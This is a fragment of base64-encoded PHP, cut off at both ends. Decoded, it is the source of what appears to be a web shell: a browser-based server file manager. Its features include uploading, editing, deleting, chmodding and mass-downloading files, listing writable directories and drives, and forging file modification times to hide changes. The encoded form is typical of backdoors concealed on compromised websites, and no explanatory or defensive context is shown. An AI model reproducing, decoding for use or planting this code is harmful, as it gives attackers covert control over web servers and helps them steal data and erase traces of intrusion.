ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCS8vID8/Pz8NCg0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsNCg0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkgfHwgIUBmaWxlX2V4aXN0cygkdGFyZmlsZSkpIHsNCg0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQkkdGltZSA9IEBmaWxlbXRpbWUoJHRhcmZpbGUpOw0KDQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pz8NCg0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7DQoNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkvLyA/Pz8/DQoNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KDQoJCWlmICgkZGwpIHsNCg0KCQkJJGRmaWxlcz0nJzsNCg0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCg0KCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7DQoNCgkJCX0NCg0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCg0KCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOw0KDQoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsNCg0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KDQoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoNCgkJCWhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsNCg0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KDQoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GaWxlcy50YXIuZ3onKTsNCg0KCQkJZWNobyAkY29kZTsNCg0KCQkJZXhpdDsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pz8/DQoNCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsNCg0KCQlpZiAoJGRsKSB7DQoNCgkJCSRkZmlsZXM9Jyc7DQoNCgkJCSRzdWNjID0gJGZhaWwgPSAwOw0KDQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KDQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KDQoJCQkJCSRzdWNjKys7DQoNCgkJCQl9IGVsc2Ugew0KDQoJCQkJCSRmYWlsKys7DQoNCgkJCQl9DQoNCgkJCX0NCg0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQsY2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCS8vPz8/Pw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY3JlYXRlZGlyJykpOw0KDQoJbWFrZWhpZGUoJ25ld2Rpcm5hbWUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlcGVybScpKTsNCg0KCW1ha2VoaWRlKCduZXdwZXJtJyk7DQoNCgltYWtlaGlkZSgncGZpbGUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidjb3B5ZmlsZScpKTsNCg0KCW1ha2VoaWRlKCdzbmFtZScpOw0KDQoJbWFrZWhpZGUoJ3RvZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsNCg0KCW1ha2VoaWRlKCdvbGRuYW1lJyk7DQoNCgltYWtlaGlkZSgnbmV3ZmlsZW5hbWUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCWZvcm1mb290KCk7DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicpOw0KDQoJbWFrZWhpZGUoJ29wZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOw0KDQoJISRmcmVlICYmICRmcmVlID0gMDsNCg0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoNCgkhJGFsbCAmJiAkYWxsID0gMDsNCg0KCSR1c2VkID0gJGFsbC0kZnJlZTsNCg0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQoMTAwLygkYWxsLyRmcmVlKSwyKTsNCg0KCXAoJzxoMj5GaWxlIE1hbmFnZXIgLSBDdXJyZW50IGRpc2sgZnJlZSAnLnNpemVjb3VudCgkZnJlZSkuJyBvZiAnLnNpemVjb3VudCgkYWxsKS4nICgnLiR1c2VkX3BlcmNlbnQuJyUpPC9oMj4nKTsNCg0KDQoNCj8+DQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXJnaW46MTBweCAwOyI+DQoNCiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+DQoNCiAgPHRyPg0KDQogICAgPHRkIG5vd3JhcD5DdXJyZW50IERpcmVjdG9yeSAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4NCg0KCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjAgOHB4OyI+PC90ZD4NCg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQoNCiAgPC90cj4NCg0KICA8L2Zvcm0+DQoNCjwvdGFibGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KZnVuY3Rpb24gY3JlYXRlZGlyKCl7DQoNCgl2YXIgbmV3ZGlybmFtZTsNCg0KCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOw0KDQoJaWYgKCFuZXdkaXJuYW1lKSByZXR1cm47DQoNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoNCgkkKCdjcmVhdGVkaXInKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoNCgl2YXIgbmV3cGVybTsNCg0KCW5ld3Blcm0gPSBwcm9tcHQoJ0N1cnJlbnQgZmlsZTonK3BmaWxlKydcblBsZWFzZSBpbnB1dCBuZXcgYXR0cmlidXRlOicsICcnKTsNCg0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KDQoJJCgnZmlsZXBlcm0nKS5uZXdwZXJtLnZhbHVlPW5ld3Blcm07DQoNCgkkKCdmaWxlcGVybScpLnBmaWxlLnZhbHVlPXBmaWxlOw0KDQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBjb3B5ZmlsZShzbmFtZSl7DQoNCgl2YXIgdG9maWxlOw0KDQoJdG9maWxlID0gcHJvbXB0KCdPcmlnaW5hbCBmaWxlOicrc25hbWUrJ1xuUGxlYXNlIGlucHV0IG9iamVjdCBmaWxlIChmdWxscGF0aCk6JywgJycpOw0KDQoJaWYgKCF0b2ZpbGUpIHJldHVybjsNCg0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCg0KCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7DQoNCgkkKCdjb3B5ZmlsZScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsNCg0KCXZhciBuZXdmaWxlbmFtZTsNCg0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCg0KCWlmICghbmV3ZmlsZW5hbWUpIHJldHVybjsNCg0KCSQoJ3JlbmFtZScpLm5ld2ZpbGVuYW1lLnZhbHVlPW5ld2ZpbGVuYW1lOw0KDQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KDQoJJCgncmVuYW1lJykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoNCglpZiAobSAmJiAhY29uZmlybShtKSkgew0KDQoJCXJldHVybjsNCg0KCX0NCg0KCSQoJ2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7DQoNCglpZiAodGhlZmlsZSl7DQoNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoNCgl9DQoNCgkkKCdmaWxlbGlzdCcpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZWZpbGUobm93cGF0aCl7DQoNCgl2YXIgZmlsZW5hbWU7DQoNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KDQoJaWYgKCFmaWxlbmFtZSkgcmV0dXJuOw0KDQoJb3BmaWxlKCdlZGl0ZmlsZScsbm93cGF0aCArIGZpbGVuYW1lLG5vd3BhdGgpOw0KDQp9DQoNCmZ1bmN0aW9uIG9wZmlsZShhY3Rpb24sb3BmaWxlLGRpcil7DQoNCgkkKCdmaWxlb3Bmb3JtJykuYWN0aW9uLnZhbHVlPWFjdGlvbjsNCg0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KDQoJJCgnZmlsZW9wZm9ybScpLmRpci52YWx1ZT1kaXI7DQoNCgkkKCdmaWxlb3Bmb3JtJykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gZ29kaXIoZGlyLHZpZXdfd3JpdGFibGUpew0KDQoJaWYgKHZpZXdfd3JpdGFibGUpIHsNCg0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCg0KCX0NCg0KCSQoJ2dvZGlyJykuZGlyLnZhbHVlPWRpcjsNCg0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCiAgPD9waHANCg0KCXRiaGVhZCgpOw0KDQoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PHRyIGNsYXNzPSJhbHQxIj48dGQgY29sc3Bhbj0iNyIgc3R5bGU9InBhZGRpbmc6NXB4OyI+Jyk7DQoNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7DQoNCglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoNCgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOw0KDQoJfSBlbHNlIHsNCg0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsNCg0KCX0NCg0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOw0KDQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCg0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCg0KCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikpIHsNCg0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCg0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoNCgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgew0KDQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCg0KCQkJCX0gZWxzZSB7DQoNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7DQoNCg0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQoNCg0KDQoJLy8/Pz8/Pz8/Pz8/Pw0KDQoJJGRpcmRhdGE9YXJyYXkoKTsNCg0KCSRmaWxlZGF0YT1hcnJheSgpOw0KDQoNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KDQoJCSRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7DQoNCgl9IGVsc2Ugew0KDQoJCS8vID8/Pz8NCg0KCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsNCg0KCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCg0KCQkJaWYoQGlzX2RpcigkZmlsZXBhdGgpKXsNCg0KCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCg0KCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCg0KCQkJCSRkaXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KDQoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCg0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KDQoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoNCgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KDQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoNCgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsNCg0KCQkJfSBlbHNlIHsJCQ0KDQoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCg0KCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KDQoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCg0KCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoNCgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoNCgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCg0KCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCg0KCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7DQoNCgkJCX0NCg0KCQl9Ly8gd2hpbGUNCg0KCQl1bnNldCgkZGlyZGIpOw0KDQoJCXVuc2V0KCRmaWxlZGIpOw0KDQoJCUBjbG9zZWRpcigkZGlycyk7DQoNCgl9DQoNCglAc29ydCgkZGlyZGF0YSk7DQoNCglAc29ydCgkZmlsZWRhdGEpOw0KDQoJJGRpcl9pID0gJzAnOw0KDQoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7DQoNCgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoNCgkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48Zm9udCBmYWNlPSJ3aW5nZGluZ3MiIHNpemU9IjMiPjA8L2ZvbnQ+PC90ZD4nKTsNCg0KCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPi0tPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJwZXJtJ10uJzwvYT4nLiRkaXJkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoNCgkJCXAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOw0KDQoJCQlwKCc8L3RyPicpOw0KDQoJCQkkZGlyX2krKzsNCg0KCQl9IGVsc2Ugew0KDQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCg0KCQkJCXAoJzx0ciBjbGFzcz0nLmJnKCkuJz4nKTsNCg0KCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCg0KCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCX0NCg0KCQl9DQoNCgl9DQoNCg0KDQoJcCgnPHRyIGJnY29sb3I9IiNkZGRkZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7DQoNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoNCgltYWtlaGlkZSgndGhlZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoNCgkkZmlsZV9pID0gJzAnOw0KDQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCg0KCQlpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KDQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7DQoNCgkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoNCgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7DQoNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFw